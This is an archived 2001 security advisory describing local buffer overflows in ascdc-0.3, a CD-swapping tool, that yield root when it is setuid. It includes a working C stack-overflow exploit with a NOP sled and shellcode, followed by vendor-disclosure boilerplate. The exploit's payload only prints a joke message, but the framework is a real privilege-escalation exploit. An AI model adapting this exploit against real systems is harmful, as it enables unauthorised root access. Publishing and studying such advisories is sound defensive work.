OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: advisoriesWKIT.COM
Date: Thu Mar 08 2001 - 05:13:59 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1

    TITLE: ascdc Buffer Overflow Vulnerability
    ADVISORY ID: WSIR-01/02-06
    DISCOVERED BY: Christer Öberg, Wkit Security AB
    CONTACT: advisorieswkit.com, Wkit Security AB
    CLASS: Buffer Overflow
    OBJECT: ascdc (exec)
    VENDOR: Rob Malda (http://www.CmdrTaco.net)
    REMOTE: No
    LOCAL: Yes
    VULNERABLE: ascdc-0.3

    DESCRIPTION (from ascdc README)
    Use this bad boy to swap CD's graphically under X. I really
    got sick of using the Command Line to do this- under that *other*
    OS I get a nice little clickable thing to do it.

    VULNERABILITY:
    There are multiple buffer overflows in ascdc that can be exploited to gain
    root if it is installed setuid root. It is NOT installed setuid root by
    default but as the README says "If you intend to use the automounting
    feature,
    you must either run ascdc as root, or setuid it".

    I use the -d option in the exploit but overflows also exist in the -m & -c
    switches.

    Exploit:

    char shellcode[]="\xeb\x15\x59\x31\xc0\x31\xdb\x31\xd2\xb0"
               "\x04\xb3\x01\xb2\x50\xcd\x80\x31\xc0\xb0"
               "\x01\xcd\x80\xe8\xe6\xff\xff\xff"
               "Would you like to play a game? y\x0aStrange, the only winning
    move is not to play.\x0a";
    #define bsize 600
    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }

    main(int argc, char *argv[]) {
      char *buff, *ptr;
      long *addr_ptr, addr;
      int i;
      buff = malloc(bsize);

      addr = get_sp();
      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

      for (i = 0; i < 600/2; i++)
        buff[i] = 0x90;

      ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];
        buff[bsize - 1] = '\0';
     execlp("/usr/X11R6/bin/ascdc","ascdc","-d",buff,0);

    }

    SOLUTION/VENDOR INFORMATION/WORKAROUND
    No information available

    CREDITS
    This vulnerability was discovered and documented by Christer Öberg of
    Wkit Security AB, Håverud, Sweden.

    Other advisories from Wkit Security AB can be obtained from:
    http://www.wkit.com/advisories/

    DISCLAMER
    The contents of this advisory is copyright (c) 2001 Wkit Security AB and
    may be distributed freely, provided that no fee is charged and proper
    credit is given. Wkit Security AB takes no credit for this discovery if
    someone else has published this information in the public domain before
    this advisory was released.
    The information herein is intended for educational purposes, not for
    malicious use. Wkit Security AB takes no responsibility whatsoever for the
    use of this information.

    ABOUT THE COMPANY
    Wkit Security AB is an independent data security company working with
    security-related services and products. Wkit Security AB plays a leading
    role in the development of security thinking, regarding internal and
    external data communication at companies and other organizations that
    store sensitive information.
    The company consists of two divisions: a service division, performing
    security analysis and security reviews, and a product division. We work
    together with strategic partners to bring programs and services into the
    market.
    Our services and products are continuously developed to optimally follow
    the world demand for IT security.

    30 DAY DISCLOSURE
    Whenever Wkit Security AB finds any security related flaws in operating
    system, or application, we will provide the vendor responsible for the
    product with a detailed Incident Report. We believe that 30 days is
    appropriate for the vendor to fix the problem before we publish the
    incident report on our own web page and other mailing lists/websites we
    find suitable for the majority of the worldwide users. If the vendor has a
    reasonable cause why they can't fix the problem in 30 days we can, after
    discussion, agree on a longer disclosure time.

    ACKNOWLEDGEMENTS
    Wkit Security AB's highest priority is for the public security, and will
    never release Incidents Reports without informing the vendor and give them
    reasonable (30 day) time to fix the problem. In general, Wkit Security AB
    follows the guidelines for reporting security breaches we found on the
    vendors homepage or similar.
    We urge vendors that in the same way we follow their guidelines, that the
    vendor informs us about the solution; if possible, 2 days before the
    fix/solution will be presented for the majority. This gives us the chance
    to prepare our web page to inform about the Incident and to present a
    solution in the way the vendor suggest at the time when it is present for
    the majority.

    CONTACT
    Wkit Security AB should be contacted through advisorieswkit.com if no
    other agreement has been done. Every incident report is assigned a report
    number WSIR-xx/xx-xx (Wkit Security AB Incident Report) and one
    responsible contact person from Wkit Security. When communicating with
    Wkit Security AB in the matter of the Incident Reports, be sure to add the
    WSIR number in the email to avoid any problems.

    ***************************************************************************
    Wkit Security AB
    Upperudsvägen 4
    S-464 72 Håverud
    SWEDEN

    http://www.wkit.com
    e-mail: advisorieswkit.com
    ***************************************************************************

    -----BEGIN PGP SIGNATURE-----
    Version: PGP 7.0

    iQA/AwUBOqdoWAFyk+p4kGd0EQJI6QCeJzpCN1CbOnoNkt2sjpQ/QvmU/h8AoOuw
    llHhupEy633E/n4VyBhpXzAq
    =MSkJ
    -----END PGP SIGNATURE-----